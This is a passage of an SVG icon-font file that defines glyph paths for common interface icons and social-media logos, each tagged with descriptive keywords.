data-tags="signal, bars, stats" />
<glyph unicode="&#xf011;" d="M 384,160q0-39 -15.25-74.5t-41-61.25t-61.25-41t-74.5-15.25t-74.5,15.25t-61.25,41t-41,61.25t-15.25,74.5q0,45.5 20.125,85.75t 56.625,67.5q 10.75,8 23.875,6.25t 20.875-12.5q 8-10.5 6.125-23.625t-12.375-21.125q-24.5-18.5 -37.875-45.25t-13.375-57q0-26 10.125-49.625t 27.375-40.875t 40.875-27.375 t 49.625-10.125t 49.625,10.125t 40.875,27.375t 27.375,40.875t 10.125,49.625q0,30.25 -13.375,57t-37.875,45.25q-10.5,8 -12.375,21.125t 6.125,23.625q 7.75,10.75 21,12.5t 23.75-6.25q 36.5-27.25 56.625-67.5t 20.125-85.75zM 224,352l0-160 q0-13 -9.5-22.5t-22.5-9.5t-22.5,9.5t-9.5,22.5l0,160 q0,13 9.5,22.5t 22.5,9.5t 22.5-9.5t 9.5-22.5z" horiz-adv-x="384" data-tags="off, switch, power" />
<glyph unicode="&#xf010;" d="M 256,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-144,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 144,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,176q0,46.25 -32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875t 79.125,32.875t 32.875,79.125z M 416-32q0-13.25 -9.375-22.625t-22.625-9.375q-13.5,0 -22.5,9.5l-85.75,85.5q-44.75-31 -99.75-31q-35.75,0 -68.375,13.875t-56.25,37.5t-37.5,56.25t-13.875,68.375t 13.875,68.375t 37.5,56.25t 56.25,37.5t 68.375,13.875t 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-55 -31-99.75l 85.75-85.75q 9.25-9.25 9.25-22.5z " horiz-adv-x="416" data-tags="zoom-out, magnifier" />
<glyph unicode="&#xf00e;" d="M 256,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-56,0 l0-56 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,56 l-56,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 56,0 l0,56 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-56 l 56,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 288,176q0,46.25 -32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875t 79.125,32.875t 32.875,79.125zM 416-32q0-13.25 -9.375-22.625t-22.625-9.375q-13.5,0 -22.5,9.5l-85.75,85.5q-44.75-31 -99.75-31q-35.75,0 -68.375,13.875 t-56.25,37.5t-37.5,56.25t-13.875,68.375t 13.875,68.375t 37.5,56.25t 56.25,37.5t 68.375,13.875t 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-55 -31-99.75l 85.75-85.75q 9.25-9.25 9.25-22.5z" horiz-adv-x="416" data-tags="zoom-in, magnifier, enlarge" />
<glyph unicode="&#xf00d;" d="M 324.5,53.5q0-10 -7-17l-34-34q-7-7 -17-7t-17,7l-73.5,73.5l-73.5-73.5q-7-7 -17-7t-17,7l-34,34q-7,7 -7,17t 7,17l 73.5,73.5l-73.5,73.5q-7,7 -7,17t 7,17l 34,34q 7,7 17,7t 17-7l 73.5-73.5l 73.5,73.5q 7,7 17,7t 17-7l 34-34q 7-7 7-17 t-7-17l-73.5-73.5l 73.5-73.5q 7-7 7-17z" horiz-adv-x="352" data-tags="remove, cancel, close, delete, mutiply" />
<glyph unicode="&#xf00c;" d="M 417.75,242.5q0-10 -7-17l-181-181l-34-34q-7-7 -17-7t-17,7l-34,34l-90.5,90.5q-7,7 -7,17t 7,17l 34,34q 7,7 17,7t 17-7l 73.5-73.75l 164,164.25q 7,7 17,7t 17-7l 34-34q 7-7 7-17z" data-tags="ok, checkmark, tick, correct" />
<glyph unicode="&#xf00b;" d="M 128,72l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 128,200l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,72l0-48 q0-10 -7-17t-17-7l-240,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 240,0 q 10,0 17-7t 7-17zM 128,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,200l0-48 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7 l 240,0 q 10,0 17-7t 7-17zM 448,328l0-48 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 240,0 q 10,0 17-7t 7-17z" data-tags="th-list, list, ul" />
<glyph unicode="&#xf00a;" d="M 128,72l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 128,200l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 288,72l0-48 q0-10 -7-17t-17-7l-80,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 128,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 288,200l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7 l 80,0 q 10,0 17-7t 7-17zM 448,72l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 288,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,200l0-48  q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17zM 448,328l0-48 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17z" data-tags="th, grid" />
<glyph unicode="&#xf009;" d="M 192,128l0-96 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5zM 192,320l0-96 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5zM 416,128l0-96 q0-13 -9.5-22.5t-22.5-9.5 l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5zM 416,320l0-96 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,96 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="416" data-tags="th-large, grid, icons" />
<glyph unicode="&#xf008;" d="M 96-16l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 96,80l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 96,176l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0  q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 352-16l0,128 q0,6.5 -4.75,11.25t-11.25,4.75l-192,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-128 q0-6.5 4.75-11.25t 11.25-4.75l 192,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 96,272l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25 t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448-16l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 352,176l0,128 q0,6.5 -4.75,11.25t-11.25,4.75l-192,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-128 q0-6.5 4.75-11.25t 11.25-4.75l 192,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448,80l0,32  q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448,176l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 448,272l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75 t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 480,312l0-336 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,336 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480" data-tags="film, movie, video" />
<glyph unicode="&#xf007;" d="M 352,32.75q0-30 -18.25-47.375t-48.5-17.375l-218.5,0 q-30.25,0 -48.5,17.375t-18.25,47.375q0,13.25 0.875,25.875t 3.5,27.25t 6.625,27.125t 10.75,24.375t 15.5,20.25t 21.375,13.375t 27.875,5q 2.25,0 10.5-5.375t 18.625-12t 27-12t 33.375-5.375t 33.375,5.375t 27,12t 18.625,12t 10.5,5.375q 15.25,0 27.875-5t 21.375-13.375t 15.5-20.25 t 10.75-24.375t 6.625-27.125t 3.5-27.25t 0.875-25.875zM 272,256q0-39.75 -28.125-67.875t-67.875-28.125t-67.875,28.125t-28.125,67.875t 28.125,67.875t 67.875,28.125t 67.875-28.125t 28.125-67.875z" horiz-adv-x="352" data-tags="user, profile, member" />
<glyph unicode="&#xf006;" d="M 284.25,133l 76.5,74.25l-105.5,15.5l-47.25,95.5l-47.25-95.5l-105.5-15.5l 76.5-74.25l-18.25-105.25l 94.5,49.75l 94.25-49.75zM 416,222.25q0-5.5 -6.5-12l-90.75-88.5l 21.5-125q 0.25-1.75 0.25-5q0-12.5 -10.25-12.5q-4.75,0 -10,3l-112.25,59l-112.25-59q-5.5-3 -10-3q-5.25,0 -7.875,3.625t-2.625,8.875q0,1.5 0.5,5l 21.5,125 l-91,88.5q-6.25,6.75 -6.25,12q0,9.25 14,11.5l 125.5,18.25l 56.25,113.75q 4.75,10.25 12.25,10.25t 12.25-10.25l 56.25-113.75l 125.5-18.25q 14-2.25 14-11.5z" horiz-adv-x="416" data-tags="star-empty, favorite, rate" />
<glyph unicode="&#xf005;" d="M 416,222.25q0-5.5 -6.5-12l-90.75-88.5l 21.5-125q 0.25-1.75 0.25-5q0-5.25 -2.625-8.875t-7.625-3.625q-4.75,0 -10,3l-112.25,59l-112.25-59q-5.5-3 -10-3q-5.25,0 -7.875,3.625t-2.625,8.875q0,1.5 0.5,5l 21.5,125l-91,88.5q-6.25,6.75 -6.25,12q0,9.25 14,11.5l 125.5,18.25l 56.25,113.75q 4.75,10.25 12.25,10.25t 12.25-10.25l 56.25-113.75 l 125.5-18.25q 14-2.25 14-11.5z" horiz-adv-x="416" data-tags="star, favorite, rate" />
<glyph unicode="&#xf004;" d="M 224-32q-6.5,0 -11,4.5l-156,150.5q-2.5,2 -6.875,6.5t-13.875,16.375t-17,24.375t-13.375,30.25t-5.875,34.5q0,55 31.75,86t 87.75,31q 15.5,0 31.625-5.375t 30-14.5t 23.875-17.125t 19-17q 9,9 19,17t 23.875,17.125t 30,14.5t 31.625,5.375q 56,0 87.75-31t 31.75-86q0-55.25 -57.25-112.5l-155.75-150 q-4.5-4.5 -11-4.5z" data-tags="heart, love, like" />
<glyph unicode="&#xf003;" d="M 416,8l0,192 q-8-9 -17.25-16.5q-67-51.5 -106.5-84.5q-12.75-10.75 -20.75-16.75t-21.625-12.125t-25.625-6.125l-0.25,0 l-0.25,0 q-12,0 -25.625,6.125t-21.625,12.125t-20.75,16.75q-39.5,33 -106.5,84.5q-9.25,7.5 -17.25,16.5l0-192 q0-3.25 2.375-5.625t 5.625-2.375l 368,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 416,270.75l0,2.75 l0,3.375 t-0.125,3.25 t-0.75,3.125t-1.375,2.25t-2.25,1.875t-3.5,0.625l-368,0 q-3.25,0 -5.625-2.375t-2.375-5.625q0-42 36.75-71q 48.25-38 100.25-79.25q 1.5-1.25 8.75-7.375t 11.5-9.375t 11.125-7.875t 12.625-6.875t 10.75-2.25l 0.25,0 l 0.25,0 q 5,0 10.75,2.25t 12.625,6.875t 11.125,7.875t 11.5,9.375t 8.75,7.375q 52,41.25 100.25,79.25q 13.5,10.75 25.125,28.875t 11.625,32.875z M 448,280l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 368,0 q 16.5,0 28.25-11.75t 11.75-28.25z" data-tags="envelope, letter, email, mail, contact" />
<glyph unicode="&#xf002;" d="M 288,176q0,46.25 -32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875t 79.125,32.875t 32.875,79.125zM 416-32q0-13 -9.5-22.5t-22.5-9.5q-13.5,0 -22.5,9.5l-85.75,85.5q-44.75-31 -99.75-31q-35.75,0 -68.375,13.875t-56.25,37.5t-37.5,56.25t-13.875,68.375 t 13.875,68.375t 37.5,56.25t 56.25,37.5t 68.375,13.875t 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-55 -31-99.75l 85.75-85.75q 9.25-9.25 9.25-22.5z" horiz-adv-x="416" data-tags="search, magnifier, lookup, find" />
<glyph unicode="&#xf001;" d="M 384,328l0-280 q0-12.5 -8.5-22.25t-21.5-15.125t-25.875-8t-24.125-2.625t-24.125,2.625t-25.875,8t-21.5,15.125t-8.5,22.25t 8.5,22.25t 21.5,15.125t 25.875,8t 24.125,2.625q 26.25,0 48-9.75l0,134.25 l-192-59.25l0-177.25 q0-12.5 -8.5-22.25t-21.5-15.125t-25.875-8t-24.125-2.625t-24.125,2.625t-25.875,8t-21.5,15.125t-8.5,22.25 t 8.5,22.25t 21.5,15.125t 25.875,8t 24.125,2.625q 26.25,0 48-9.75l0,241.75 q0,7.75 4.75,14.125t 12.25,8.875l 208,64q 3,1 7,1q 10,0 17-7t 7-17z" horiz-adv-x="384" data-tags="music, song, sound" />
<glyph unicode="&#xf000;" d="M 424.75,337.5q0-8.75 -10.75-19.5l-158-158l0-192 l 80,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 80,0 l0,192 l-158,158q-10.75,10.75 -10.75,19.5q0,5.75 4.5,9.125t 9.5,4.375t 10.75,1l 352,0 q 5.75,0 10.75-1t 9.5-4.375t 4.5-9.125z" data-tags="glass, drink" />
<glyph unicode="&#xe30a;" d="M 200.346,130.589C 144.39,151.712, 97.395,189.434, 94.282,238.579C 92.288,269.917, 100.195,297.312, 120.579,320.339L 37.341,300.47
		C 20.608,296.461, 10.304,279.661, 14.291,262.928L 83.552-26.659c 4.010-16.733, 20.787-27.037, 37.52-23.027l 35.638,8.512
		c-13.821,4.592-37.744,13.328-60.659,25.558l 33.219,75.354c0,0, 39.088-34.832, 95.245-34.832C 280.65,24.906, 305.626,90.806, 200.346,130.589zM 433.686,57.072L 364.47,346.659c-4.010,16.733-20.81,27.037-37.542,23.027l-59.629-14.269c 15.21-2.397, 45.293-8.982, 78.49-26.387
		l-25.962-71.994c0,0-21.616,24.147-79.587,27.082c-55.082,2.778-85.747-56.806, 21.728-91.952c 82.275-26.902, 108.595-78.758, 107.229-126.717
		c-0.717-24.931-9.453-45.226-19.555-60.502l 61.040,14.582C 427.392,23.539, 437.696,40.339, 433.686,57.072z" data-tags="smashing, social" />
<glyph unicode="&#xe30b;" d="M 247.184,138.026c-6.899,4.010-16.464,4.010-24.259,4.010L 197.366,142.035 l0-52.685 l 23.475,0 c 8.691,0, 19.757-0.605, 27.238,4.637
	c 6.899,4.637, 10.774,13.709, 10.774,22.355C 258.854,124.384, 254.061,133.994, 247.184,138.026z M 237.53,182.982
	c 5.69,4.323, 8.669,12.074, 8.669,19.174c0,7.728-3.584,15.142-10.147,19.152c-6.899,4.010-19.466,3.091-27.552,3.091L 197.366,224.4 l0-46.368 l 14.717,0 
	C 220.483,178.054, 230.362,177.427, 237.53,182.982z M 363.44,375.040L 84.538,375.040 C 42.806,375.040, 8.96,341.194, 8.96,299.44l0-278.858 c0-41.754, 33.846-75.6, 75.578-75.6
	l 278.88,0 c 41.754,0, 75.6,33.846, 75.6,75.6L 439.018,299.44 C 439.040,341.194, 405.194,375.040, 363.44,375.040z M 235.67,50.083L 147.818,50.083 L 147.818,262.144 l 95.984,0 
	c 27.798,0, 53.469-17.696, 53.469-48.922c0-24.102-13.462-40.611-30.621-45.763l0-0.605 c 25.469-5.242, 43.635-19.085, 43.635-52.438
	C 310.285,83.549, 289.251,50.083, 235.67,50.083z" data-tags="vk, social" />
<glyph unicode="&#xe30c;" d="M 267.098,366.080c-85.366,0-155.59-65.923-162.445-149.498C 53.962,196.803, 17.92,147.456, 17.92,89.866c0-74.973, 61.040-135.946, 136.035-135.946
		c 57.725,0, 107.184,36.131, 126.896,86.957c 83.462,7.011, 149.229,77.123, 149.229,162.333C 430.080,293.011, 356.989,366.080, 267.098,366.080z M 153.955-0.765
		c-49.997,0-90.675,40.634-90.675,90.63c0,33.197, 17.965,62.272, 44.688,78.064c 13.664-61.667, 62.429-110.32, 124.208-123.872
		C 216.406,17.267, 187.242-0.765, 153.955-0.765z M 155.411,180.474c 48.787-0.762, 88.323-40.208, 89.197-88.95
		C 199.853,100.506, 164.483,135.763, 155.411,180.474z M 289.968,91.568c-0.918,73.718-60.816,133.459-134.602,134.221c 10.528,52.013, 56.605,91.302, 111.709,91.302
		c 62.854,0, 113.971-51.094, 113.971-113.882C 381.069,148.218, 341.914,102.208, 289.968,91.568z M 64.512,269.424c 25.648,0, 46.48,20.832, 46.48,46.435
		c0,25.603-20.832,46.435-46.48,46.435c-25.626,0-46.458-20.832-46.458-46.435C 18.054,290.256, 38.886,269.424, 64.512,269.424z M 64.512,341.485
		c 14.134,0, 25.648-11.491, 25.648-25.626c0-14.112-11.491-25.626-25.648-25.626c-14.112,0-25.626,11.491-25.626,25.626
		C 38.886,329.994, 50.4,341.485, 64.512,341.485z" data-tags="circles, google, social" />
<glyph unicode="&#xe30d;" d="M 180.79,175.635c0,0, 42.403,3.293, 42.403,55.104S 188.496,307.84, 144.57,307.84L0,307.84 l0-289.542 l 144.57,0 c0,0, 88.234-2.89, 88.234,85.434
	C 232.826,103.731, 236.656,175.635, 180.79,175.635z M 63.706,256.387l 80.864,0 c0,0, 19.645,0, 19.645-30.128c0-30.128-11.558-34.496-24.685-34.496L 63.706,191.763 L 63.706,256.387 z
	 M 140.47,69.75L 63.706,69.75 l0,77.392 l 80.864,0 c0,0, 29.299,0.403, 29.299-39.76C 173.869,73.514, 151.984,69.997, 140.47,69.75z M 350.515,234.166
	c-106.848,0-106.758-111.216-106.758-111.216s-7.325-110.678, 106.758-110.678c0,0, 95.066-5.69, 95.066,77.011l-48.877,0 c0,0, 1.613-31.158-44.554-31.158
	c0,0-48.899-3.405-48.899,50.355l 143.965,0 C 447.238,108.458, 462.986,234.166, 350.515,234.166z M 393.994,147.12l-91.258,0 c0,0, 5.981,44.643, 48.899,44.643
	C 394.509,191.763, 393.994,147.12, 393.994,147.12z M 405.395,290.794L 290.752,290.794 l0-35.661 l 114.621,0 L 405.373,290.794 z" data-tags="behance, social" />
<glyph unicode="&#xe30e;" d="M 213.83-2.579L 235.2-2.579 L 235.2-50.56 c 145.846,15.322, 223.597,159.958, 211.030,261.878c-12.634,101.92-122.102,172.301-245.146,157.226
		C 78.109,353.424-10.976,258.582, 1.635,156.662C 13.104,63.926, 104.675-2.669, 213.83-2.579z M 351.568,95.958l-41.037,0 L 310.531,206.906 
		c0,4.435-0.403,8.646-1.187,12.477c-0.65,3.338-1.882,6.115-3.674,8.49c-1.702,2.24-4.211,4.077-7.392,5.466
		c-3.405,1.478-8.131,2.24-13.955,2.24c-12.029,0-21.437-3.136-28-9.296C 249.76,220.166, 246.624,212.102, 246.624,201.664l0-105.706 L 205.587,95.958 L 205.587,206.906 
		c0,4.614-0.426,8.848-1.299,12.611C 203.526,222.922, 202.25,225.766, 200.413,228.186C 198.688,230.448, 196.403,232.195, 193.379,233.494
		C 190.154,234.861, 185.763,235.578, 180.365,235.578c-6.989,0-12.992-1.299-17.786-3.853C 157.584,229.059, 153.485,225.856, 150.438,222.227
		C 147.37,218.554, 145.13,214.746, 143.763,210.915C 142.374,207.062, 141.702,203.949, 141.702,201.664l0-105.706 L 100.688,95.958 L 100.688,268.326 l 39.379,0 l0-13.462 
		C 152.902,266.243, 169.299,272, 188.899,272c 11.424,0, 21.952-2.285, 31.338-6.787c 6.854-3.293, 12.41-8.221, 16.531-14.65
		c 5.152,5.555, 11.29,10.147, 18.211,13.642C 265.171,269.402, 276.461,272, 288.579,272c 9.005,0, 17.315-0.941, 24.73-2.8
		c 7.661-1.949, 14.403-5.062, 20.003-9.251c 5.779-4.323, 10.326-9.99, 13.53-16.822c 3.158-6.72, 4.771-14.762, 4.771-23.923L 351.613,95.958 z" data-tags="mixi, social" />
<glyph unicode="&#xe30f;" d="M 15.053,82.586L 22.4,113.946l-7.347,32.413c-0.202,0.963-2.038,1.702-4.301,1.702c-2.285,0-4.122-0.739-4.301-1.702L0,113.946
	l 6.474-31.36c 0.179-0.986, 2.016-1.702, 4.301-1.702C 13.014,80.883, 14.851,81.6, 15.053,82.586z M 60.973,65.181L 67.2,113.654L 60.973,188.627
	C 60.794,190.554, 58.464,192.054, 55.642,192.054c-2.845,0-5.174-1.478-5.309-3.405L 44.8,113.654l 5.533-48.474c 0.134-1.904, 2.464-3.382, 5.309-3.382
	C 58.464,61.776, 60.794,63.277, 60.973,65.181z M 106.803,65.965L 112,113.632L 106.803,213.469c-0.134,2.33-2.912,4.189-6.294,4.189
	c-3.405,0-6.182-1.837-6.294-4.189L 89.6,113.632l 4.614-47.69c 0.112-2.33, 2.89-4.166, 6.294-4.166
	C 103.891,61.776, 106.669,63.613, 106.803,65.965z M 152.544,66.682L 156.8,113.61l-4.256,100.576C 152.432,216.963, 149.296,219.158, 145.376,219.158
	c-3.942,0-7.078-2.195-7.19-4.973L 134.4,113.61l 3.808-46.928c 0.067-2.755, 3.226-4.95, 7.168-4.95C 149.296,61.731, 152.432,63.882, 152.544,66.682z
	 M 198.24,67.264L 201.6,113.587L 198.24,228.902C 198.173,232.083, 194.566,234.659, 190.221,234.659c-4.346,0-7.93-2.576-7.997-5.757L 179.2,113.632
	c0-0.067, 3.024-46.346, 3.024-46.346c 0.067-3.136, 3.651-5.712, 7.997-5.712C 194.566,61.552, 198.173,64.106, 198.24,67.264z M 230.227,61.53
	c 0.134,0, 159.018-0.090, 160.048-0.090c 31.898,0, 57.725,24.998, 57.725,55.843s-25.827,55.843-57.725,55.843c-7.93,0-15.456-1.546-22.333-4.346
	C 363.35,219.091, 319.693,258.56, 266.47,258.56c-13.014,0-25.715-2.464-36.915-6.675C 225.21,250.25, 224.022,248.592, 224,245.344l0-177.206 
	C 224.045,64.71, 226.778,61.866, 230.227,61.53z" data-tags="soundcloud, social" />
<glyph unicode="&#xe310;" d="M 130.099,343.187C 60.883,307.594, 17.92,237.437, 17.92,159.574c0-14.202, 1.792-28.605, 4.95-42.963L 200.928,278.742
	C 181.933,296.013, 132.026,341.418, 130.099,343.187z M 308.963,347.578C 282.061,359.808, 253.478,366.080, 223.978,366.080c-20.922,0-41.552-3.472-61.6-9.878
	l 146.563-133.302L 308.941,347.578 z M 340.301,329.411l0-237.843 l 78.064,0 c 7.683,21.997, 11.693,44.867, 11.693,68.006C 430.080,227.491, 395.942,291.107, 340.301,329.411z
	 M 32.749,83.213c 15.098-37.946, 41.619-70.582, 75.443-93.722l0,162.4 l-45.786-41.686C 46.771,95.981, 33.712,84.086, 32.749,83.213z M 139.552-28.698
	c 20.944-9.453, 42.851-15.299, 65.408-17.382l 37.834,0 c 67.626,6.317, 128.285,46.346, 161.258,106.288L 139.552,60.208 L 139.552-28.698 z" data-tags="picasa, social" />
<glyph unicode="&#xe311;" d="M 377.552,275.696c 6.093-11.514, 9.117-25.738, 9.117-42.829c0-38.797-16.352-70.112-49.011-93.878c-32.704-23.789-78.378-35.661-137.043-35.661
	L 186.883,103.328 c-10.326,0-20.653-8.109-22.96-18.032l-16.486-70.314c-2.307-9.946-12.634-18.077-22.96-18.077L 94.416-3.094 l-2.688-11.491
	C 89.398-24.509, 95.939-32.64, 106.243-32.64l 48.138,0 c 10.326,0, 20.675,8.109, 22.938,18.054l 16.509,70.336c 2.33,9.878, 12.634,18.010, 22.96,18.010l 13.731,0 
	c 58.666,0, 104.339,11.872, 137.021,35.683C 400.266,133.187, 416.64,164.48, 416.64,203.322c0,17.091-3.024,31.315-9.117,42.806
	c-6.070,11.424-14.918,20.742-26.454,27.843C 379.837,274.71, 378.829,275.002, 377.552,275.696z M 117.443,44.55l 16.509,70.336
	c 2.33,9.878, 12.611,18.010, 22.96,18.010l 13.731,0 c 58.666,0, 104.339,11.872, 137.021,35.683c 32.682,23.766, 49.034,55.059, 49.034,93.878
	c0,17.091-3.024,31.315-9.139,42.806c-6.070,11.424-14.918,20.742-26.432,27.843c-11.805,7.213-25.67,12.23-41.731,15.165
	C 263.334,351.162, 244.496,352.64, 222.858,352.64L 122.618,352.64 c-10.349,0-20.675-8.064-23.005-18.010L 31.83,44.573c-2.33-9.946, 4.211-18.077, 14.515-18.077
	l 48.138,0 C 104.832,26.496, 115.181,34.605, 117.443,44.55z M 156.778,212.842l 14.47,61.578C 173.578,284.342, 183.904,292.451, 194.186,292.451l 15.77,0 
	c 18.346,0, 32.278-3.091, 41.597-9.229c 9.341-6.093, 14.022-15.478, 14.022-28.224c0-19.242-7.28-34.115-21.728-44.554
	c-14.47-10.416-34.586-15.68-60.57-15.68L 171.36,194.765 C 161.011,194.765, 154.493,202.918, 156.778,212.842z" data-tags="paypal" />
<glyph unicode="&#xe312;" d="M 333.29,158.477c-6.138,1.859-10.371,3.158-7.123,11.379c 6.966,17.853, 7.683,33.242, 0.134,44.24
	c-14.179,20.608-52.931,19.51-97.373,0.538c0,0.022-13.955-6.205-10.394,5.085c 6.832,22.355, 5.802,41.082-4.838,51.901
	C 189.594,296.17, 125.485,270.656, 70.47,214.723c-41.171-41.91-65.072-86.33-65.072-124.746c0-73.472, 92.557-122.618, 183.12-122.618
	c 118.72,0, 197.68,74.682, 197.68,130.413C 386.198,131.462, 358.333,150.57, 333.29,158.477z M 188.765,0.288c-72.262-7.146-134.624,25.67-139.328,73.382
	c-4.682,47.69, 50.086,92.176, 122.349,99.366c 72.285,7.19, 134.646-25.648, 139.328-73.338S 261.027,7.478, 188.765,0.288z M 451.181,218.307
	c-0.045,74.189-60.211,134.333-134.4,134.333c-8.669,0-15.68-7.011-15.68-15.68s 7.011-15.658, 15.68-15.658c 56.896,0, 103.040-46.144, 103.040-103.062
	c0-8.669, 7.011-15.68, 15.68-15.68s 15.68,7.011, 15.68,15.68C 451.181,218.24, 451.181,218.285, 451.181,218.307z M 388.864,220.592
	c-7.168,34.989-34.765,62.563-69.731,69.731c-8.467,1.725-16.778-3.718-18.502-12.208c-1.747-8.467, 3.718-16.755, 12.186-18.502
	c 22.758-4.659, 40.678-22.579, 45.315-45.315c 1.747-8.49, 10.035-13.933, 18.525-12.208C 385.123,203.837, 390.611,212.125, 388.864,220.592z M 151.693,126.333
	c-29.098-5.846-48.742-30.262-43.859-54.522c 4.861-24.259, 32.413-39.178, 61.533-33.309c 29.098,5.846, 48.742,30.262, 43.859,54.522
	C 208.365,117.261, 180.813,132.179, 151.693,126.333z" data-tags="sina-weibo, social" />
